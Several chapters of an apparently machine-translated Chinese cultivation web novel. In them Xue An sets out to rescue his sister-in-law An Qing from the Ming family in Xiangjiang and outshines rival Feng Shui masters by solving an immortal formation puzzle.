    After Xue An went upstairs, he found that An Yan was sitting on the sofa waiting for herself.


    There is also a cup of hot tea on the ���� coffee table.


    Although this bit of wine is nothing to Xue An, Xue An still drank the hot tea with a smile.


    And An Yan whispered at this moment: "Fan Mengxue is gone!"


    Xue An was startled slightly, and then asked a little strangely: "Why are you leaving so late?"


    An Yan smiled narrowly and said: "What? Do you still stay here overnight if you don''t leave?"


    Xue An was a little bit dumbfounded.


    Then An Yan sighed and said: "We talked about some women''s words, and then she left!"


    Xue An wisely closed his mouth.


    An Yan waited to meet Xue An without speaking, and couldn''t help asking: "Aren''t you curious?"


    Xue An smiled bitterly: "Then what did you say?"


    An Yan smiled and said mysteriously: "I won''t tell you! This is the little secret between us women!"


    Xue An laughed angrily at An Yan''s childish behavior, and suddenly carried An Yan up, then walked into the bedroom and threw her on the bed.


    "What is the crime of playing as a husband?" Xue An said with a straight face.


    An Yan looked at Xue An pitifully, "You bullied me, you dare to bully me... oh oh oh, I gave birth to you two daughters, you dare to bully... hahahaha!"


    Speaking of the back, An Yan couldn''t help but laugh first.


    Xue An was also amused.


    smiled and smiled, the room calmed down.


    At this moment, the two little girls are already asleep in the next room.


    Wan Lai is all silent.


    can even hear each other''s heartbeats.


    An Yan''s face gradually turned red, and then lay on the bed carefully and patted the pillow beside her.


    "still not going to sleep?"


    Xue An smiled, and lay down.


    The two lay silently, looking at the ceiling.


    After a long time, An Yan turned over and gently hugged Xue An''s waist.


    Xue An smiled and stroked An Yan''s hair lightly.


    Then, Xue An felt a warmth in his chest.


    He felt tight and looked down at An Yan.


    "Wife. What''s wrong with you?"


    An Yan raised her head, tears on her face.


    "My husband, I don''t dare to go to sleep now, I''m afraid this will be a dream."


    Xue An painfully wiped the tears from the corners of her eyes, "Don''t be afraid, this is not a dream, and I will always be with you in the days to come!"


    After a while of silence.


    An Yan whispered: "My husband, I love you!"


    Xue An nodded, "I love you too!


    "Hmm!" An Yan nodded, then smiled with tears, and whispered in Xue An''s ear.


    "Husband, do you want to do it?"


    The blue breath made Xue An''s ears a little itchy.


    Xue An��s heartbeat increased by a beat, and nodded, "Of course I do!"


    Anyan made a stern face, "I don''t want to give it anymore! Hold it!"


    But immediately she smiled again, then buried her head in Xue An''s chest, like a big ostrich, muffled and said: "If you want...I will give it to you!"


    Xue An shook his head, "Wife!"


    "Huh?" An Yan raised his head.


    "You still have a seal on your body... Your body is too weak, I just want to hold it back, anyway, three thousand years have passed, I am not afraid to wait a few more days!" Xue An said sternly.


    An Yan''s eye circles are red again. After being with Xue An, she has become more and more crying!


    "So, don''t worry, wife, for the sake of my lifelong happiness, I will untie your seal as soon as possible!" Xue An said with a smile.


    An Yan gave a hum, lying comfortably in Xue An''s arms.


    After a long silence.


    An Yan whispered: "Husband, are you asleep?"


    "Fell asleep!"


    "I hate it!" An Yan punched Xue An, and then said seriously: "Think and Niannian, An Qing has been here, right?"


    Xue An nodded, "I''ve been here, but then her troops had a mission, so they left!"


    An Yan said with some worry: "I don''t know how she is, will she be in danger!"


    Xue An smiled, "It''s okay! She is a computer expert, and she doesn''t have to go to the battlefield!"


    And just when the two of them were whispering in bed.


    On the road outside Beijiang, a man covered in blood was walking hard.


    There is only one goal in his mind.


    That is to go to Beijiang and meet the man named Xue An!


    This is the last thing An Qing told him before he was taken away!


    An Qing said clearly, if anyone can save her and the Phoenix Army, then only Xue An!

 Chapter 157： An Qing in distress

    Du Fan sat on a chair by the river and drank booze.


    His mood is very depressed today.


    Because Xue An is back, and with a simple message, the wealthiest people from the whole province have gathered.


    How could he not be shocked by such momentum.


    Du Fan remembered the rumors about Xue An he heard, and each of them was enough to make Du Fan afraid.


    At this time, Lu Kun took a handful of grilled lamb skewers and ran over excitedly, "Brother Fan, the skewers are ready, you can **** craft!"


    When Du Fan saw Lu Kun, he stopped getting angry and kicked Lu Kun directly to the ground.


    mutton skewers were also scattered all over the place.


    Lukun was kicked, "Brother Fan, what''s the matter with you? Why did you hit me?"


    "Why hit you?" Du Fan''s face was pale, "If it weren''t for you, I could offend Mr. Xue? It''s better now, and the power of others is getting stronger and stronger, and we will have good fruits in the future!"


    Mention Xue An.


    Lu Kun''s face also turned pale.


    "Then...what should we do? Shall we go and apologize to others now?"


    "Apologize?" Du Fan sneered. "Do you think we are still qualified to talk to others based on our current strength?"


    Lukun was speechless.


    Du Fan let out a long sigh, and sat back down in his chair, "I just thought about it for a long time. If it really doesn''t work, let''s quit Beijiang! After all, no matter how much money we earn, life is not important!"


    Du Fan was sighing, while Lu Kun stared at the man walking on the road not far away.


    "Fan... Brother Fan, do you think that is a human or a ghost over there?" Lu Kun trembled.


    "Shit ghost, you guys are less courageous than a mouse!" Du Fan yelled and turned his head to look.


    Then he was also stunned.


    Because this man was so miserable, he was covered in blood, not to mention, one leg was twisted at an abnormal angle, obviously he was fractured.


    Even so, the man was still walking limping.


    On the outskirts of this big night, suddenly seeing such a person, who he was replaced by, felt cold.


    Du Fan''s face also turned pale, but he was also a local snake who had dominated Beijiang for many years. After steadying his mind, he pulled out the self-defense dagger from his arms.


    "Go, go up and see!"


    Lukun said timidly, "Or...or should we call the police?"


    "Fart, if I call the police, I won��t make people laugh out of it?"


    said that Du Fan was ahead, and walked onto the road.


    At this time, the man also approached. From this distance, one could even see the dull look on the man''s face.


    Du Fan held a knife in his hand, and boldly asked, "Hey! Boy, what''s yours? Why do you hurt all over your body?"


    The man slowly turned his head, his eyes were full of wood, and he muttered to himself.


    "Beijiang... Xue...an...save people!"


    This hoarse and intermittent voice made Du Fan''s scalp numb.


    But when he heard the words Xue An, his heart moved.


    "Brother, are you going to Beijiang to find someone?"


    The man ignored him and still muttered to himself, "Xue An...save people..."


    Du Fan finally heard clearly this time, joy filled his heart, and then quickly said: "I am from Beijiang, are you going to find Mr. Xue? Let him save people?"


    The man finally nodded.


    Du Fan was overjoyed.


    This is a pie that fell from the sky!


    I was worried that I had no chance to approach Xue An, and then such a man came.


    Du Fan is not a fool, and you can tell by looking at the man''s tragic situation. This is definitely an extremely important matter.


    So he immediately turned around and yelled at Lukun, "What are you doing stupidly? Hurry up and get the car! I want to send this brother to the city!"


    Lu Kun shuddered, and hurriedly crawled to drive.


    The vehicle was ready, and Du Fan personally helped the man onto the seat.


    As soon as the man leaned on the chair, he fell asleep.


    Du Fan also felt a little emotional, this guy didn''t know how far he had traveled, he was exhausted.


    Then Du Fan drove himself to the city at a speed of at least 200 kilometers per hour.


    ran numerous red lights along the way, and finally came downstairs in the community where Xue An lived.


    After getting out of the car, Du Fan was a little anxious. He didn''t know where Xue An lived.


    But this matter obviously couldn''t be delayed. Finally, Du Fan gritted his teeth and shouted: "Mr. Xue is here?"


    The voice spread far and wide in this silent night.


    "Mr. Xue...." The second call did not finish.


    Du Fan felt that there was a flower in front of him, and Xue An had already appeared in front of him.


    This ghostly speed made Du Fan''s heart pound.


    Xue An looked at Du Fan and frowned slightly, "Aren''t you that Brother Fan? It''s so late, something?"


    Du Fan nodded and bowed with a smile: "How dare you, Mr. Xue should call me Xiaofan, I don''t want to disturb you at this time, there are some important things, this is not..."


    Du Fan wanted to continue. Xue An had already smelled the blood and looked cold, and walked straight to the car and opened the door.


    The man is still in a coma.


    "It''s this man, he keeps saying that he wants to see you and he wants to save people I''m afraid that something will be delayed, so I came to you quickly!" Du Fan whispered from the side.


    Xue An''s face sank like water, and he took out a pill and stuffed it directly into the man''s mouth.


    This is the Pei Yuan Dan made by Xue An at the beginning. Although the effect is very low, it is enough to save people.


    As expected.


    There is no one minute after taking the pill.


    The wound on the man''s body began to heal at a speed visible to the naked eye, his broken leg gradually recovered, his complexion became even more ruddy, and he slowly opened his eyes.


    This magical scene made Du Fan stunned.


    Don''t say anything else, just with this hand, Xue An is like a **** in Du Fan''s mind.


    The man was still a little confused at first, but when he saw Xue An, he immediately said: "Mr. Xue, save An Qing!"


    "What''s wrong with An Qing?" Xue An raised his eyebrows and his face was murderous.


    The man said quickly: "I am a soldier of the Phoenix Army. My name is Xu Mu. We were on a mission this time, but we were defeated by a group of mysterious people. Miss An was also taken away by them."


    "I was by Miss Ann at the time, and she told me that only you can save her and save the undead! So I ran out desperately, and then tried a way to go to Beijiang, but there was still a hundred away When there was a car accident for more than a kilometer, I could only walk step by step in the end..."


    Xue An nodded, "Understood, where is the place where you were arrested during the mission?"


    Xu Mu paused, and then a look of horror flashed across his face, "It''s... Haigang Xiangjiang!"


    "Harbour Xiangjiang?" Xue An''s heart moved.


    "Yes!" Xu Mu nodded.


    Xue An''s face was calm, and he whispered softly: "Xiangjiang...hehe, Mingjia?"

 Chapter 158： Fairy remains

    Xue An certainly does not forget the Ming family.


    Ming Yuan, a son of the Ming family, presided over the construction of an island resort to seal the sea eye and imprison the sea monster for his own benefit.


    If it weren''t for Xue An to expose and kill him, it is estimated that more people would be harmed.


    Now An Qing is missing in the seaport of Xiangjiang again. If she says she has nothing to do with the Ming family, no one believes it.


    Xue An said in a deep voice to Xu Mu: "How are your injuries now?"


    Xu Mu got out of the car and walked two laps, his face full of incredible.


    "Mr. Xue, all the injuries on my body have healed, even my spirits are much better!"


    At this time, Du Fan said enviously: "Could it be OK? Just now Mr. Xue personally fed you an elixir!"


    Xu Mu was taken aback, and quickly said solemnly: "Thank you, Mr. Xue!"


    Xue An waved his hand, "You came to me across thousands of miles, just to rescue An Qing, you can be considered a loyal person, this is just a little reward for you!"


    Xue An turned his head and nodded to Du Fan, "You did a good job too."


    Du Fan was so happy that his face bloomed, and he nodded and bowed: "Mr. Xue is polite, this is what I should do!"


    At this time, An Yan also went downstairs with some worry.


    "Husband, what''s wrong?"


    Xue An didn''t hide it either, just smiled faintly, "It''s okay, it''s just that An Qing has something small."


    An Yan couldn''t help but his face changed drastically when he heard that something happened to his sister.


    "Qing''er...Qing''er what happened to her?" An Yan was in chaos.


    Xue An stepped forward and smiled softly: "Yan''er, don''t worry, there was only a minor situation in Qing''er. It just so happened that you didn''t go out to relax after you came back. This time I will take you and your daughter. Play for a few days in Hong Kong Harbour."


    An Yan nodded obediently.


    She has an almost blind trust in Xue An.


    In her eyes, as long as her husband takes action, there is nothing that cannot be solved that day.


    Of course, this is indeed the case.


    At this moment, Dongfang has already appeared white, and it is about to dawn.


    A cold smile appeared at the corner of Xue An''s mouth.


    It seems... if some people don''t let him know the pain, he won''t know the fear.


    Jibei Yuanjia.


    In a secret room.


    Yuan Chengyu sat in the main seat, and a housekeeper stood aside with his hands down.


    "Patriarch, the news that the eldest lady has just received, the Ming family has ascertained the approximate location the day before, but then they discovered that someone from the military appeared, and the two sides had a fierce fight!"


    "Oh? The military? Could it be from General Lin?" Yuan Chengyu''s expression became serious.


    "This is still unclear, but after some fierce fighting, this team has all been arrested."


    Yuan Chengyu nodded, "Tell Yun Xin, everything is the best. Although the Ming family has invited us to cooperate, the guy Ming Canghai is scheming, so beware."


    "Yes!"


    "Also, is there any news about the reward?"


    "Go home, the second-ranked killer organization just replied, but they asked you how much they plan to pay for Xue An''s life!"


    "How much..." Yuan Chengyu showed a look of hatred on his face, "This Xue An is indeed amazing, but I don''t believe he was made of copper and cast iron. A reward of 100 million is offered. I will see his body within a month! "


    "Understood!" The butler bowed back.


    Yuan Chengyu stood up and paced back and forth in the room.


    "The fairy remains, hehe, such a big piece of cake, you know that your family would be so kind to invite us to participate? And even the military has come forward, it seems that this cake is not so delicious!"


    "And Xue An, I admit that you are very powerful, but when the lion dozes, the inter-finger killing is a killer organization that specializes in dealing with the top masters. Now they take it, then your death date is not far away!"


    Thinking of this, Yuan Chengyu couldn''t help but sneer.


    Hong Kong Harbour.


    Ming��s mansion is located in the richest area of ??Xiangjiang, which is a large piece of ancient architecture.


    Not to mention the value of the land, just this antique building is worth a lot.


    At this moment, in the back house of the Ming family.


    Ming Ruifeng frowned, "Have you not confessed yet?"


    "Back to Master, no!"


    "Forget it, if you don''t do it, don''t do it. If you guess it is General Lin, please lock it up first, and then clean them up when you break the line in the future!" Ming Ruifeng said lightly.


    "Yes!"


    "By the way, put them in the dungeon No.1 Tianzi, and someone in the province will use their spiritual sense to investigate!"


    "Understand!" The subordinate stepped back.


    Ming Ruifeng turned his head and looked at the woman sitting aside.


    This woman looks mediocre, and she wears a very ordinary look. For a century-old family like the Ming family, this kind of dress is not even as good as a little maid.


    Ke Ming Ruifeng''s eyes showed appreciation.


    "Sister Yunxin, how is it?"


    Yuan Yunxin sighed softly, "Sure enough, it is the formation left by the fairy. I have seen it for two days, but it probably has some eyebrows. It''s too early to break open!"


    While the two were talking, Ming Canghai walked in.


    This Ming Canghai looked like he was 40 or 50 years old, but his hair was completely white.


    Ming Ruifeng and Yuan Yunxin all stood up.


    Ming Canghai smiled at Yuan YunxinMy niece, can you see anything? "


    "It''s just a slight eyebrow!" Yuan Yunxin said in a low voice.


    "It is indeed a genius girl who was born in the Yuan family in a hundred years. It can be seen in such a short time. It is a sigh that our Ming family has studied Feng Shui for thousands of years, but we are helpless in front of this big array!"


    Ming Canghai sighed half-truths, and then said with a smile: "Don''t worry, I have already let go. There will be a Feng Shui event in the past two days, when all the world''s Feng Shui math masters will gather together. I can definitely crack this array!"


    Yuan Yun looked calm, nodded and said, "In that case, I will go back to the room first!"


    After that, Yuan Yunxin resigned.


    At this time, Ming Ruifeng stepped forward, "Father, why do you invite the world''s feng shui masters to see this array? If it is leaked out..."


    Ming Canghai waved his hand, and said indifferently: "The news about the immortal remains can''t be concealed. The military squad is the proof, so it''s better to break this formation quickly to save you more nights and dreams!"


    "Yes!"


    "And..." Ming Canghai raised his head and looked at Yuan Yunxin''s departure direction. "Although this little girl doesn''t talk much, she obviously has a lot of ideas. She is much better than that stupid Yuan Chengyu. I''m afraid it will be delayed. Over time, she will have other thoughts!"


    "That father means..."


    "After breaking the formation, all the insiders are..." Ming Canghai made a gesture of cutting his throat.


    "Understand!" Ming Ruifeng lowered his head in response, a flash of cold light flashed in his eyes.


    An Qing, who was locked in the dungeon, stared blankly at the light coming through the small window.


    Brother-in-law, do you know the news?

 Chapter 159： Havent your parents taught you how to be a man?

    The plane landed slowly at the Hong Kong International Airport.


    As an international metropolis, although it has been caught up by cities in the Mainland in recent years, its heritage and momentum are still there.


    Wait for the plane, An Yan said anxiously, "Where can I find such a big Xiangjiang?"


    Xue An smiled, "Give me your hand first!"


    An Yan handed it over obediently. Xue An took An Yan''s hand and closed his eyes.


    He wanted to use the blood connection between An Yan and An Qing to search.


    This is also the most convenient way to find.


    After a while, Xue An opened his eyes and frowned slightly.


    "how about it?"


    "did not find!"


    An Yan can''t hide the disappointment.


    Xue An smiled, "Don''t worry, although you haven''t found it, you can still feel An Qing''s existence through your bloodline power. This shows that she is still alive and alive!"


    "Why can''t you find it?" An Yan was still uneasy.


    Xue An looked at the high-rise buildings in the city in the distance, and said lightly: "It should have been shielded by secret methods. It seems that you have been operating here for more than a hundred years. Your Ming family has really become a climate! "


    Xue An can tell at a glance that many of those high-rise buildings have been blessed by Feng Shui secret techniques.


    To put it bluntly, the entire Xiangjiang River has become a huge and incomparable Feng Shui map because of the existence of these Feng Shui buildings.


    This kind of handwriting is not bad for a family!


    But for Xue An, it''s still too far!


    Those feng shui factions in the immortal realm often use the stars as their eyes, turning the Zhoutian galaxy into an array, so powerful that no one under the Immortal Venerable dares to provoke them easily.


    At this moment, a rather rude voice sounded from behind.


    "Hey, can you sell that necklace?"


    Xue An and the others looked around, and saw a well-dressed girl in beautiful dress looking at An Yan with an impatient face.


    "Yes, what about you, I really like the necklace you wear on your neck, can you sell it?"


    An Yan was wearing the Sea-Monster blood bead necklace Xue An gave her.


    Xue An raised his eyebrows and was about to speak. An Yan''s complexion grew colder, and he shook his head and said, "Not for sale!"


    "I pay a million!" The girl held out a finger somewhat arrogantly.


    In her opinion, Xue An and An Yan are dressed in ordinary clothes, and they do not seem to be rich people.


    One million should be a lot for them.


    Xue An shook his head, and said calmly: "Since you want it, you should know the preciousness of this thing, one million? Hehe, I doubt..."


    Xue settled down, his eyes gradually cold, "Did your parents never teach you how to be a human since you were a child?"


    The girl''s complexion changed from white to red, and from red to black by Xue An''s words.


    "Then I will pay 10 million, can you sell 10 million?"


    Xue An is a little impatient, this woman is killing his only patience.


    Just then, a woman in her forties with a dignified temperament walked out of the airport lobby.


    "Smile, step aside!"


    The woman looked at Xue An bitterly and stepped aside.


    The woman came up and smiled slightly, "This gentleman, a child can''t speak, don''t be familiar with her."


    Xue An looked indifferent and noncommittal.


    Then the woman said: "But... you are really important to us. If you are willing to cut love, then our Qizhou Chang family will have to thank you."


    When talking about the Chang''s family in Qizhou, a touch of pride flashed across the woman''s face.


    To her surprise, Xue An did not have any surprises on her face, as if she had never heard of the name.


    The woman frowned slightly, just about to say something.


    Song Yi ran out of the airport lobby with sweat.


    "Mr. Xue, I am really embarrassed. When I just left the station, the security check insisted that my item was a contraband, and it was delayed for a while!"


    Xue An nodded.


    At this moment, the woman was extremely surprised and said: "You...you are not Master Song Yisong?"


    Song Yi turned his head to look at the woman. First he was taken aback, then nodded, "It turns out that it is Junior Sister Chang Zhu. You also received an invitation letter from the Ming family to attend this Feng Shui seminar?"


    Changzhu was shocked at this moment.


    Qizhou Chang''s family is good at Feng Shui, which can be regarded as a powerful one.


    And Song Yi was once a well-known Feng Shui master in Zhongdu. Chang Zhu had met Song Yi several times at the time, and he was very impressed with his knowledge of Feng Shui.


    Unexpectedly, he would also come to Hong Kong Harbour today.


    and still respect this man so much.


    Who is this man?


    Could it be the big or young of a certain giant in Zhongdu?


    Changzhu was thinking.


    Song Yi already said to Xue An: "Mr. Xue, shall we go to Ming''s house now?"


    Xue An nodded, then gave Chang Zhu and the girl a faint glance, then turned and left.


    Waiting for them to go far.


    Chang Xiaoxiao walked forward and said with some dissatisfaction: "Master, why did you let him go? Didn''t you say that the pearl is a rare sea-monster blood bead, and it is of great help to our Feng Shui practice?"


    Chang Zhu shook his head solemnly, "That Song Yi is not an ordinary person, I have met him several times at the beginning, but he was just a gray-haired old man at the time. I haven''t seen him, he has actually broken through to the Freedom Realm, and his whole person is rejuvenated!"


    "Although the man wears ordinary clothes and has an ordinary manner, he should have a high status, otherwise Song Yi can''t be respected so much. We have to think of another way!"


    Chang Xiaoxiao glanced at Xue Anyuan''s back with some dissatisfaction.


    "They also went to Ming''s house, so they can use this time to find another way!" Chang Zhu said, the greed in his eyes flashed away.


    At the moment in the car, Song Yi asked, "Mr. Xue, how did you know Chang Zhu and the others?"


    "Recognition?" Xue An shook his head, and then recounted what happened.


    Song Yi frowned slightly after hearing this, "I have heard that the Chang family of Qizhou is acting domineering, but I didn''t expect it to be so, so I dare to buy and sell? He also found Mr. Xue to come up with him, and he really wanted to die!"


    Xue An smiled, "I generally don''t kill women, but patience is also limited. If they are still entangled, don''t blame me for being polite!"


    Seeing Xue An''s smile, Song Yi''s heart trembled.


    As someone who knew Xue An from the very beginning, he knew Xue An��s temper very well.


    This person is decisive and never gets tired of foreign objects.


    Regardless of what kind of famous family you are, he always kills when he should kill, and he never shows mercy.


    After Song Yi received the invitation from the Ming family this time, he felt that things were a little weird, so he rushed to Beijiang to see Xue An.


    It happened that Xue An hadn''t left at the time, and when the matter was said, Xue An was also moved in his heart.


    invites Feng Shui masters from all over the world to gather in Xiangjiang.


    What does this Ming family want to do?

 Chapter 160： Take heaven and earth as the power

    Ming Family Mansion.


    Today''s Ming family is very lively.


    Feng Shui masters from China and even overseas have all arrived.


    Ming Ruifeng personally stood at the door to receive visitors from all over the world.


    When Xue An and Song Yi arrived, Ming Ruifeng couldn''t help being taken aback.


    Why are you still bringing your family?


    However, Mingrui Feng''s city mansion was extremely deep, and it returned to normal in an instant, and he gave Song Yi his hand.


    "It turns out to be Master Song! This is..."


    Song Yi hadn''t spoken yet, Xue An said lightly: "I am his apprentice!"


    Mingruifeng suddenly.


    I also look like a master and apprentice at this age, because he smiled slightly, "In that case, please come in!"


    After entering the Ming family, Song Yi raised his head and looked at the architectural layout of the Ming family.


    "Strange, this Ming family is said to be the first of the Feng Shui sects in the world, but the layout of this building is actually mediocre." Song Yi said in surprise.


    Xue An smiled, "That''s because your vision is not broad enough. In Feng Shui, the house is the easiest one, the mountains and rivers are the main influence, and the wise man is the heaven and the earth. The heaven and the earth are powerful, and they seem unremarkable at first glance, but if you overlook the overall layout of China, you will find the difference here!"


    Song Yi suddenly realized, and nodded admiringly: "Mr. Xue is really insightful!"


    But Xue An just smiled, he didn''t say a word.


    The truly powerful Feng Shui technique is to change the heavens and the earth, and take thousands of miles of mountains and rivers into one palm.


    That is the power that turned upside down while walking.


    "Hey, isn''t this Master Song Yisong? Tsk tsk, I haven''t seen you in a few years, you can be considered a breakthrough in real life! I thought you were already dead somewhere!"


    There was a male duck''s voice, the voice was very unpleasant.


    Song Yi was taken aback, looked up, and saw a middle-aged man with a dark complexion walking slowly over.


    When he saw this man, Song Yi''s complexion became extremely ugly, and he gritted his teeth and said, "Pan Yin, how dare you come to see me?"


    "Hehe, why don''t you dare? My good...Master!" Pan Yin sneered.


    Song Yi''s face was pale, and his whole body was shaking with anger.


    Pan Yin saw Xue An standing aside at this time, "Hey, is this another apprentice? Congratulations to Master!"


    After that, Pan Yin smiled triumphantly.


    But at this moment, Xue Nian said to Xue An in a soft and cute tone: "Dad, this uncle speaks like Donald Duck!"


    Xue Xiang shook his head and said solemnly: "I don''t think it is like that, Donald Duck''s voice is much better than his speech!"


    ''S words made everyone smile.


    Only Pan Yin''s face gradually became gloomy. After taking a look at Xue An, he sneered and left.


    As soon as Pan Yin left, Song Yi''s complexion turned pale, and he shook his head with a wry smile, "Mr. Xue laughed, this guy is my former apprentice!"


    Song Yi sighed and then said: "This person was originally talented, plus I carefully taught him, and soon learned the abilities of my whole body, but I didn''t expect this person to have a face and beastly heart!"


    "Once I finally got a pill that could help me break through the real world, he actually hurt me before I was ready, and then ran away with the pill!"


    "It''s also because of this that I didn''t have any deposit in my cultivation base for more than ten years!"


    Xue An''s complexion was indifferent, and he has seen too many scenes of these masters and disciples fighting each other.


    "Unexpectedly, this time the feng shui masters gathered together, he actually came!" Song Yi said bitterly.


    At this time, Chang Zhu and Chang Xiaoxiao also arrived.


    At this point, there are basically all the Feng Shui masters in the world.


    Ming Ruifeng arranged a sumptuous dinner.


    In the banquet.


    These feng shui masters from all over China gathered together to talk and talk, and they were so happy.


    this moment.


    Xue Xiang and Xue Nianzheng are eating ice cream.


    The little cheek is stained with cream, which makes it extra cute.


    This scene also attracted a lot of surprised eyes.


    After all, with so many people, only Xue An came with his family, so he was naturally very eye-catching.


    And Pan Yin and Master Chang Zhu got together and looked at Xue An in the distance from time to time.


    "So, this man should be your teacher''s new apprentice?" Chang Zhu asked.


    Pan Yin nodded, then secretly looked at Chang Xiaoxiao who was sitting aside with a greedy look.


    "I can''t make a mistake. It is estimated that the Sea-Monster blood bead was given to him by my master! This old immortal, with so many good things, refused to give me at first!" Pan Yin said without shame.


    Changzhu nodded, thinking in his heart.


    At this moment, Ming Canghai appeared at the banquet.


    Many people hurriedly stood up, toasted and flattered: "Ming Patriarch!"


    "Master Ming is healthy!"


    Ming Canghai walked up to the high platform, smiled and waved his hands, everyone calmed down.


    Then Ming Canghai said: "I invite all the masters to gather here today, one is to strengthen the friendship of our fellow men, and the second is that the Ming family has something to ask for!"


    Boom!


    There was a riot under the stage.


    What can the Ming family ask for?


    Ming Canghai went on to say: "But this matter is very important. It requires a deep knowledge of Feng Shui to be competent, so we have prepared a small game!"


    Ming Ruifeng stepped onto the stage with a stack of paper in his hand These are the formations, who can crack it, please stay in a while! "


    After ���� was distributed, everyone picked it up and looked at it carefully, and then frowned.


    This array is obviously not a normal array, it is extremely complicated.


    Even some people can��t see what this is!


    At the same time, Ming Ruifeng stood next to Yuan Yunxin and laughed softly: "Sister Yunxin, who do you think can crack it?"


    Yuan Yunxin said lightly: "This formation is based on the formation of the immortal''s legacy, after a slight change, it is very different from the ordinary formation in the world, I don''t know who can solve it!


    Xue An and Song Yi also got a piece of paper.


    Song Yi watched for a long time, his brows became a ball, but he didn''t understand what it was.


    Only Xue An, just glanced at it, and then smiled lightly.


    is actually the golden fairy formation!


    Not right, it hasn''t reached the golden fairyland yet! At most, it can only be regarded as a half-step Golden Immortal''s cultivation base.


    For Xue An, this formation is as simple as one plus one.


    But since there is this kind of formation, then it means that there should be a fairy cave or a remains about to appear.


    Xue An''s eyes moved slightly. Could it be that An Qing was arrested because of this fairy''s remains?


    Xue An was not in a hurry, but looked around the crowd to see who could do it.


    Pan Yin was thinking hard, and Chang Zhu frowned.


    Only Chang Xiaoxiao knows that he is inferior, so I didn''t bother with it.


    But she also noticed that Xue Anzheng casually looked at the people around him.


    Chang Xiaoxiao can''t help but sneer in his heart, it seems that this guy is nothing more than an embroidered pillow.


    At this moment, Pan Yin gave a long smile, "Good formation, but I can''t help it!"

 Chapter 161： How about this array solution...?

    Soon, Chang Zhu also stretched his brows, apparently he already had a way of understanding.


    Apart from the two of them, there are probably three or five people who have solved the formation.


    The others are all at a loss.


    Yuan Yunxin read all the solutions handed in by everyone.


    are basically qualified.


    Among them, Pan Yin''s solution is the most convenient!


    So Yuan Yunxin couldn''t help but look at Pan Yin more.


    Pan Yin knew that this girl was the well-known genius girl in the formation, couldn''t help but smile.


    Then he saw Song Yi who was frowning in the distance, he couldn''t help but sneered, and then walked over.


    "Master, are you stumped by this question?"


    Song Yi''s face became harder to look.


    Chang smiled and leaned over, deliberately saying: "Uncle Pan, you are so amazing, you will solve the problem soon!"


    Pan Yin laughed, "How can it be difficult for me to get this thing? It''s just that some people are too old to keep up with the times, so they can''t solve it. I advise these people to go home and hug their grandson!"


    Song Yi''s face was pale.


    But if he couldn''t solve the problem, he couldn''t do it, and he couldn''t fight back.


    Yuan Yunxin looked at from a distance, and couldn''t help but shook his head slightly.


    She also knows Song Yi''s fame.


    But being famous doesn''t mean being strong.


    This question requires a strong understanding of formation and Feng Shui.


    At this moment, Xue An smiled faintly.


    "Master, what''s the matter with you? Don''t you usually ask me to do this as a normal homework? What''s the problem?"


    When ���� said these words, Pan Yinhe Chang Xiaoxiao couldn''t help but laugh out loud.


    "Ordinary homework? What a joke, you probably won''t understand such a question, after all, even your teacher is helpless!" Chang smiled sarcastically.


    Xue An faintly glanced at Chang Xiao and smiled. The girl''s smile couldn''t help but froze.


    Because Xue An''s eyes were so cold.


    seems to freeze the soul.


    Then Xue An picked up the pen and finished writing after a few swishes.


    Pan Yin curled his lips disapprovingly, "This is over? You should just write a solution! Haha!"


    Xue An ignored it, but handed the paper to Song Yi.


    Song Yi glanced, his whole body was shocked, and then his eyes brightened.


    The most rare aspect of this problem is actually a change in thinking. As long as there is an idea, the rest is easy!


    So Song Yi also flew his pen and wrote the answer quickly.


    Yuan Yunxin also heard the dispute and couldn''t help but walk over slowly.


    She didn''t pay much attention at first, because she was just like Pan Yin thought.


    Such a problem, no matter how to solve it, it takes a long step.


    And Xue An just swish a few times, how could it be finished?


    After her gaze fell on Xue An''s paper, she couldn''t help being taken aback.


    Seeing Yuan Yun stunned, Pan Yin, Chang Xiaoxiao and others couldn''t help but feel a little unclear.


    What''s going on here? Why does this genius girl from the Yuan family seem to be demented?


    Only Xue An smiled faintly, "How about the solution of this formation...?"


    Yuan Yun''s whole body was shocked, and then he came to a clear sense of consternation, and then he felt like a stormy sea was set off in his heart.


    Because Xue An just understated a few places on the battle, and then wrote the cracking method.


    But it was such a simple solution, but it seemed to open a door in front of Yuan Yunxin, making her suddenly enlightened.


    So this problem can still be solved like this? Why was I so stupid before? Didn''t expect it?


    Then she quickly looked at Song Yi''s answer.


    Compared with Xue An''s concise and clear solution, Song Yi''s solution is much more bloated and complicated!


    Ming Ruifeng also came over now.


    "Sister Yunxin, what''s wrong?"


    Yuan Yun took a deep breath and shook his head, "It''s okay, but I think this gentleman''s solution is very creative, and I was a little shocked for a while!"


    The words made Pan Yin and Chang Xiao''s smile disappear.


    how is this possible?


    He actually solved it?


    Then Yuan Yunxin bowed to Xue An and Song Yi very respectfully.


    "Mr. Song really deserves his reputation, and the disciples he taught are amazing and brilliant, Yun Xin admires!"


    This time, the audience shook.


    Yuan Yunxin is the most shining star in Feng Shui and even martial arts in recent years.


    And it is not famous for its cultivation, but for its extensive knowledge, as well as exquisite and meticulous formation reasoning, it has become famous all over the world, and even many of the predecessors who have been famous for a long time sigh.


    This is also the reason why the Ming family did not hesitate to cooperate with the Yuan family and invited Yuan Yunxin to come.


    Song Yi was a little ashamed, because he knew very well that if it weren''t for Mr. Xue, he would never have been able to solve this problem.


    But Xue An smiled slightly, nodded and said: "You are welcome, it is commendable that you can have such research on the formation method, this is a gift for you!"


    Xue An''s such indifferent voice made Ming Ruifeng frown.


    Many people can''t help feeling that Xue An is too arrogant.


    But Yuan Yunxin said very sincerely, "Thank you!"


    Only Yuan Yunxin knows how big the gift Xue An gave her is!


    can even be said to give her unlimited development possibilities!


    Pan Yin''s complexion was pale. In his opinion, Xue An can be so powerful, and it must be Song Yi who taught him his skill at the bottom of the box.


    Pan Yin couldn''t help but feel angry when he thought of this .


    Hmph, sooner or later I have to let you know how great! Pan Yin thought to himself.


    The dinner is over.


    Those who hadn''t solved the problem all sighed and dispersed.


    Xue An and other few people did not leave, but were led into the inner room by Ming Ruifeng.


    After a while, Ming Canghai walked in.


    He was obviously very happy, first said some kind words, and then the conversation changed.


    "Everyone is a master of Feng Shui mathematics, what do you think about the problem just now?"


    Everyone looked at each other, and Pan Yin was the first to say: "It''s difficult!"


    Ming Canghai nodded, "What else?"


    Everyone hesitated for a while, only Xue Anman casually played with his fingers, and at the same time said lightly: "This question... should be born from the fairy formation!"


    The sound is not loud, but it seems to be shocking.


    Everyone was horrified.


